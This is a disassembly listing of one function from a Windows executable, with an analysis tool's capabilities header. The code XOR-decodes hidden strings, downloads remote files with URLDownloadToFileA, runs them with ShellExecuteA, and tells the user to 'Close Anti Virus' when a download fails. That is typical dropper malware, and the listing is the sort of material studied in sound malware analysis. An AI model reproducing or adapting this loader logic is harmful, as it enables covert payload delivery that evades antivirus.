Function at 0x140006b70
Capabilities:
Create process on windows
Create thread
Download url
Receive data
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x620
lea rbp, [rsp + 0x50]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x1400a40c0]
xor rax, rsp
mov qword [rbp + 0x5c0], rax
xor edi, edi
movabs rax, 0x7d3b951484358c11
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
movabs rax, 0x2308d9be9311887d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
movabs rax, 0x327647e959235054
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x110], rax
movabs rax, 0x741214d80f501dcf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x118], rax
movabs rax, 0xc87ab93f9f928935
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x120], rax
movabs rax, 0xaa8c3d5e11137d00
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x128], rax
movabs rax, 0xde6797edb75836bb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x130], rax
movabs rax, 0xcde3f3b297196963
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x138], rax
movabs rax, 0x7014ebeb6f680a90
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x140], rax
movabs rax, 0xaf4daee6a463b352
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x148], rax
movabs rax, 0xa86e0f5f8f17868b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x150], rax
movabs rax, 0x4da5ddf269e48c97
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x158], rax
movabs rax, 0x2c12ab25c8b8f641
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x160], rax
movabs rax, 0x41175350bbaea40c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x168], rax
movabs rax, 0x228aa32602edbf71
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x170], rax
movabs rax, 0x7216a4bb984131e9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x178], rax
movabs rax, 0x419054f546f3e1bf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x180], rax
movabs rax, 0x66f5c6eba41601e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x188], rax
movabs rax, 0x617ac67c022ff9a9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x190], rax
movabs rax, 0x372d1e5bfbdb6d5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x198], rax
movabs rax, 0xeb01519fba82b3d5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a0], rax
movabs rax, 0x1431852f08b60a7b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a8], rax
movabs rax, 0xa099842bec030faf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1b0], rax
movabs rcx, 0x451f39b051beebe4
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x1b8], rax
movabs r14, 0x5214af67f441f879
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x440], rax
movabs rsi, 0x407bb0dabd7fec1e
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x448], rax
movabs r12, 0x515837993847223b
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x450], rax
movabs r15, 0x177360ac6e7f70a0
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x458], rax
movabs rax, 0xf955ca4bf1f7e45d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x460], rax
movabs rax, 0x92be096e202b4f32
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x468], rax
movabs rax, 0xee52a6dd8f61078f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x470], rax
movabs rax, 0xfcdbc180a6365854
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x478], rax
movabs rax, 0x4726dddf575138a1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x480], rax
movabs rax, 0xcc629ad292518b66
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x488], rax
movabs rax, 0xcd166a71e474e3e3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x490], rax
movabs rax, 0x2c97ebc4549ce9a8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x498], rax
movabs rax, 0x1161c203f08d9525
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4a0], rax
movabs rax, 0x79226466839f923a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4a8], rax
movabs rax, 0x14b29a153f80d757
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4b0], rax
movabs rax, 0x1726c2d8aa7605dc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4b8], rax
movabs rax, 0x78f2669723c08489
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4c0], rax
movabs rax, 0x6759680ad822042e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4c8], rax
movabs rax, 0x5742f649661bcbcb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4d0], rax
movabs rax, 0x3b14e6dc8a8c84b0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4d8], rax
movabs rax, 0xde6430fbd8b080ed
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4e0], rax
movabs rax, 0x7000e31e30846842
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4e8], rax
movabs rax, 0xa099840dd9656c9f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4f0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x4f8], rax
vmovdqu ymm0, ymmword [rbp + 0x100]
vpxor ymm1, ymm0, ymmword [rbp + 0x440]
vmovdqa ymmword [rbp + 0x100], ymm1
vmovdqu ymm0, ymmword [rbp + 0x120]
vpxor ymm1, ymm0, ymmword [rbp + 0x460]
vmovdqa ymmword [rbp + 0x120], ymm1
vmovdqu ymm0, ymmword [rbp + 0x140]
vpxor ymm1, ymm0, ymmword [rbp + 0x480]
vmovdqa ymmword [rbp + 0x140], ymm1
vmovdqu ymm0, ymmword [rbp + 0x160]
vpxor ymm1, ymm0, ymmword [rbp + 0x4a0]
vmovdqa ymmword [rbp + 0x160], ymm1
vmovdqu ymm0, ymmword [rbp + 0x180]
vpxor ymm1, ymm0, ymmword [rbp + 0x4c0]
vmovdqa ymmword [rbp + 0x180], ymm1
vmovdqu ymm0, ymmword [rbp + 0x1a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4e0]
vmovdqa ymmword [rbp + 0x1a0], ymm1
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x328], xmm0
mov qword [rbp + 0x338], rdi
mov qword [rbp + 0x340], rdi
lea rax, [rbp + 0x100]
mov rbx, 0xffffffffffffffff
mov r8, rbx
vzeroupper
nop
inc r8
cmp byte [rax + r8], dil
jne 0x140007110
lea rdx, [rbp + 0x100]
lea rcx, [rbp + 0x328]
call fcn.14000b420
nop
movabs r13, 0x2166ca14a11dc23a
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
movabs rax, 0x1c18d9b6df0abc42
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
movabs rax, 0x293d19f25b224a58
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
movabs rax, 0x177360ac6e7f70c5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3a0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x3a8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3b0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x3b8], rax
vmovdqu ymm0, ymmword [rbp + 0x60]
vpxor ymm1, ymm0, ymmword [rbp + 0x3a0]
vmovdqa ymmword [rbp + 0x60], ymm1
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x308], xmm0
mov qword [rbp + 0x318], rdi
mov qword [rbp + 0x320], rdi
lea rax, [rbp + 0x60]
mov r8, rbx
vzeroupper
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140007200
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x308]
call fcn.14000b420
nop
lea r8, [rbp + 0x308]
cmp qword [rbp + 0x320], 0xf
cmova r8, qword [rbp + 0x308]
lea rdx, [rbp + 0x328]
cmp qword [rbp + 0x340], 0xf
cmova rdx, qword [rbp + 0x328]
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xa0], rax
movabs rax, 0x1c18d9b6df0abc42
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa8], rax
movabs rax, 0x293d19f25b224a58
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb0], rax
movabs rax, 0x177360ac6e7f70c5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3c0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x3c8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3d0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x3d8], rax
vmovdqu ymm0, ymmword [rbp + 0xa0]
vpxor ymm1, ymm0, ymmword [rbp + 0x3c0]
vmovdqa ymmword [rbp + 0xa0], ymm1
movabs rax, 0x5214af679a248816
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x370], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x378], rax
vmovdqa xmm0, xmmword [rbp + 0x20]
vxorps xmm0, xmm0, xmmword [rbp + 0x370]
vmovdqa xmmword [rbp + 0x20], xmm0
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea r8, [rbp + 0xa0]
lea rdx, [rbp + 0x20]
xor ecx, ecx
vzeroupper
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jg 0x1400073a9
mov r9d, 0x40
lea r8, str.Error
lea rdx, str.Close_Anti_Virus
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
movabs rax, 0x7d3b951484358c11
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c0], rax
movabs rax, 0x2308d9be9311887d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c8], rax
movabs rax, 0x327647e959235054
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d0], rax
movabs rax, 0x741214d80f501dcf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d8], rax
movabs rax, 0xc87ab93f9f928935
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e0], rax
movabs rax, 0xa08d3d5810127d00
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e8], rax
movabs rax, 0xd8639fe8b75337be
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f0], rax
movabs rax, 0xcce2f3b297196f61
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f8], rax
movabs rax, 0x7117ebeb61670899
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x200], rax
movabs rax, 0xaf4da2e6a666b855
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x208], rax
movabs rax, 0xae7f1a2e8f17868b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x210], rax
movabs rax, 0x11ef8efb31e48c86
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x218], rax
movabs rax, 0x2058f33595bfa313
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
movabs rax, 0x1b135250beecfb1c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x228], rax
movabs rax, 0x29dff2330eb9b432
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x230], rax
movabs rax, 0x7217f1e0cc4734e5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x238], rax
movabs rax, 0x1e905ef411a1b3bb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x240], rax
movabs rax, 0x576f0e3dbd146148
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x248], rax
movabs rax, 0x3520c22d552ca8fa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x250], rax
movabs rax, 0xd7783bdebbab0d2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x258], rax
movabs rax, 0xef5252cae981e2db
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x260], rax
movabs rax, 0x4938852807e10e7b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x268], rax
movabs rax, 0x99aebc3eeb5c0afc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x270], rax
movabs rax, 0x451f39b051beebc2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x278], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x500], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x508], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x510], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x518], rax
movabs rax, 0xf955ca4bf1f7e45d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x520], rax
movabs rax, 0x92be096e202b4f32
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x528], rax
movabs rax, 0xee52a6dd8f61078f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x530], rax
movabs rax, 0xfcdbc180a6365854
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x538], rax
movabs rax, 0x4726dddf575138a1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x540], rax
movabs rax, 0xcc629ad292518b66
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x548], rax
movabs rax, 0xcd166a71e474e3e3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x550], rax
movabs rax, 0x2c97ebc4549ce9a8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x558], rax
movabs rax, 0x1161c203f08d9525
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x560], rax
movabs rax, 0x79226466839f923a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x568], rax
movabs rax, 0x14b29a153f80d757
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x570], rax
movabs rax, 0x1726c2d8aa7605dc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x578], rax
movabs rax, 0x78f2669723c08489
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x580], rax
movabs rax, 0x6759680ad822042e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x588], rax
movabs rax, 0x5742f649661bcbcb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x590], rax
movabs rax, 0x3b14e6dc8a8c84b0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x598], rax
movabs rax, 0xde6430fbd8b080ed
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5a0], rax
movabs rax, 0x7000e31e30846842
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5a8], rax
movabs rax, 0xa099840dd9656c9f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5b0], rax
movabs rax, 0x451f39b051beebe4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5b8], rax
vmovdqu ymm0, ymmword [rbp + 0x1c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x500]
vmovdqa ymmword [rbp + 0x1c0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x1e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x520]
vmovdqa ymmword [rbp + 0x1e0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x200]
vpxor ymm1, ymm0, ymmword [rbp + 0x540]
vmovdqa ymmword [rbp + 0x200], ymm1
vmovdqu ymm0, ymmword [rbp + 0x220]
vpxor ymm1, ymm0, ymmword [rbp + 0x560]
vmovdqa ymmword [rbp + 0x220], ymm1
vmovdqu ymm0, ymmword [rbp + 0x240]
vpxor ymm1, ymm0, ymmword [rbp + 0x580]
vmovdqa ymmword [rbp + 0x240], ymm1
vmovdqu ymm0, ymmword [rbp + 0x260]
vpxor ymm1, ymm0, ymmword [rbp + 0x5a0]
vmovdqa ymmword [rbp + 0x260], ymm1
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x2e8], xmm0
mov qword [rbp + 0x2f8], rdi
mov qword [rbp + 0x300], rdi
lea rax, [rbp + 0x1c0]
mov r8, rbx
vzeroupper
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400078f0
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x2e8]
call fcn.14000b420
nop
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs rax, 0x1c18d9b6df0abc42
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
movabs rax, 0x382868f25b224a58
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
movabs rax, 0x177360c9161a5ec3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3e0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x3e8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3f0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x3f8], rax
vmovdqu ymm0, ymmword [rbp + 0x80]
vpxor ymm1, ymm0, ymmword [rbp + 0x3e0]
vmovdqa ymmword [rbp + 0x80], ymm1
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x2c8], xmm0
mov qword [rbp + 0x2d8], rdi
mov qword [rbp + 0x2e0], rdi
lea rax, [rbp + 0x80]
vzeroupper
inc rbx
cmp byte [rax + rbx], 0
jne 0x1400079e0
mov r8, rbx
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x2c8]
call fcn.14000b420
nop
lea r8, [rbp + 0x2c8]
cmp qword [rbp + 0x2e0], 0xf
cmova r8, qword [rbp + 0x2c8]
lea rdx, [rbp + 0x2e8]
cmp qword [rbp + 0x300], 0xf
cmova rdx, qword [rbp + 0x2e8]
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xc0], rax
movabs rax, 0x1c18d9b6df0abc42
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc8], rax
movabs rax, 0x382868f25b224a58
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd0], rax
movabs rax, 0x177360c9161a5ec3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x400], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x408], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x410], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x418], rax
vmovdqu ymm0, ymmword [rbp + 0xc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x400]
vmovdqa ymmword [rbp + 0xc0], ymm1
movabs rax, 0x5214af679a248816
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x380], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x388], rax
vmovdqa xmm0, xmmword [rbp + 0x30]
vxorps xmm0, xmm0, xmmword [rbp + 0x380]
vmovdqa xmmword [rbp + 0x30], xmm0
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea r8, [rbp + 0xc0]
lea rdx, [rbp + 0x30]
xor ecx, ecx
vzeroupper
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jg 0x140007b8e
mov r9d, 0x40
lea r8, str.Error
lea rdx, str.Close_Anti_Virus
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.14000dc50
mov ecx, 8
call fcn.140075f70
lea rcx, [0x14000dfb0]
mov qword [rax], rcx
mov qword [rbp + 0x2c0], rax
lea rcx, [rbp + 0x18]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], edi
mov r9, rax
lea r8, [0x14000d440]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x10], rax
test rax, rax
je 0x1400081a9
mov qword [rbp + 0x2c0], rdi
cmp dword [rbp + 0x18], 0
je 0x14000819d
movaps xmm0, xmmword [rbp + 0x10]
movdqa xmmword [rbp + 0x280], xmm0
lea rcx, [rbp + 0x280]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14000819d
xorps xmm0, xmm0
movaps xmmword [rbp + 0x290], xmm0
movdqa xmmword [rbp + 0x10], xmm0
lea rcx, [0x1400a5660]
call fcn.14001eb20
xorps xmm0, xmm0
movups xmmword [rbp + 0x348], xmm0
mov qword [rbp + 0x358], rdi
mov qword [rbp + 0x360], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x348], 0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x3760c122d41cd322
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe0], rax
movabs rax, 0xc5bc2afd226cc6c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe8], rax
movabs rax, 0x716252ea56224152
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xf8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x420], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x428], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x430], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x438], rax
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp + 0x420]
vmovdqa ymmword [rbp + 0xe0], ymm1
lea rdx, [rbp + 0xe0]
vzeroupper
call fcn.14000abe0
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
mov rax, qword [rbx]
movsxd rcx, dword [rax + 4]
add rcx, rbx
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [rbp + 0x348]
mov rcx, rbx
call fcn.14000c000
lea rdx, [rbp + 0x348]
lea rcx, [rbp + 0x2a0]
call fcn.140009f50
mov rdx, rax
lea rcx, [0x1400a5660]
call fcn.1400204b0
cmp byte [0x1400a5870], 0
jne 0x140007fe1
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x722edc1280208c2a
mov qword [rbp + 0x2c0], rax
mov rax, qword [rbp + 0x2c0]
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x2c0], rsi
mov rax, qword [rbp + 0x2c0]
mov qword [rbp + 0x48], rax
mov qword [rbp + 0x2c0], r14
mov rax, qword [rbp + 0x2c0]
mov qword [rbp + 0x390], rax
mov qword [rbp + 0x2c0], rsi
mov rax, qword [rbp + 0x2c0]
mov qword [rbp + 0x398], rax
movdqa xmm0, xmmword [rbp + 0x40]
xorps xmm0, xmmword [rbp + 0x390]
movdqa xmmword [rbp + 0x40], xmm0
lea rdx, [rbp + 0x40]
call fcn.14000abe0
lea rdx, [0x1400a5878]
cmp qword [0x1400a5890], 0xf
cmova rdx, qword [0x1400a5878]
mov r8, qword [0x1400a5888]
mov rcx, rax
call fcn.14000be40
lea rdx, [0x14000ae20]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x360]
cmp rdx, 0xf
jbe 0x140007e5d
inc rdx
mov rcx, qword [rbp + 0x348]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007e57
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000802e
call fcn.1400762bc
nop
mov rdx, qword [rbp + 0x2e0]
cmp rdx, 0xf
jbe 0x140007e9e
inc rdx
mov rcx, qword [rbp + 0x2c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007e99
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008073
call fcn.1400762bc
mov qword [rbp + 0x2d8], rdi
mov qword [rbp + 0x2e0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x2c8], 0
mov rdx, qword [rbp + 0x300]
cmp rdx, 0xf
jbe 0x140007ef8
inc rdx
mov rcx, qword [rbp + 0x2e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007ef3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400080d0
call fcn.1400762bc
mov qword [rbp + 0x2f8], rdi
mov qword [rbp + 0x300], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x2e8], 0
mov rdx, qword [rbp + 0x320]
cmp rdx, 0xf
jbe 0x140007f52
inc rdx
mov rcx, qword [rbp + 0x308]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007f4d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000812d
call fcn.1400762bc
mov qword [rbp + 0x318], rdi
mov qword [rbp + 0x320], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x308], 0
mov rdx, qword [rbp + 0x340]
cmp rdx, 0xf
jbe 0x140007fac
inc rdx
mov rcx, qword [rbp + 0x328]
mov r8, rcx
cmp rdx, 0x1000
jb 0x140007fa7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub r8, rcx
add r8, 0xfffffffffffffff8
cmp r8, 0x1f
ja 0x14000818a
call fcn.1400762bc
mov eax, 1
mov rcx, qword [rbp + 0x5c0]
xor rcx, rsp
call fcn.140075f50
lea r11, [rsp + 0x620]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140006550
nop
mov edx, 1
lea ecx, [rdx + 9]
call qword [sym.imp.KERNEL32.dll_SleepEx]
nop
mov rdx, qword [rbp + 0x360]
cmp rdx, 0xf
jbe 0x14000803b
inc rdx
mov rcx, qword [rbp + 0x348]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008035
add rdx, 0x27
mov rcx, qword [rcx - 8]
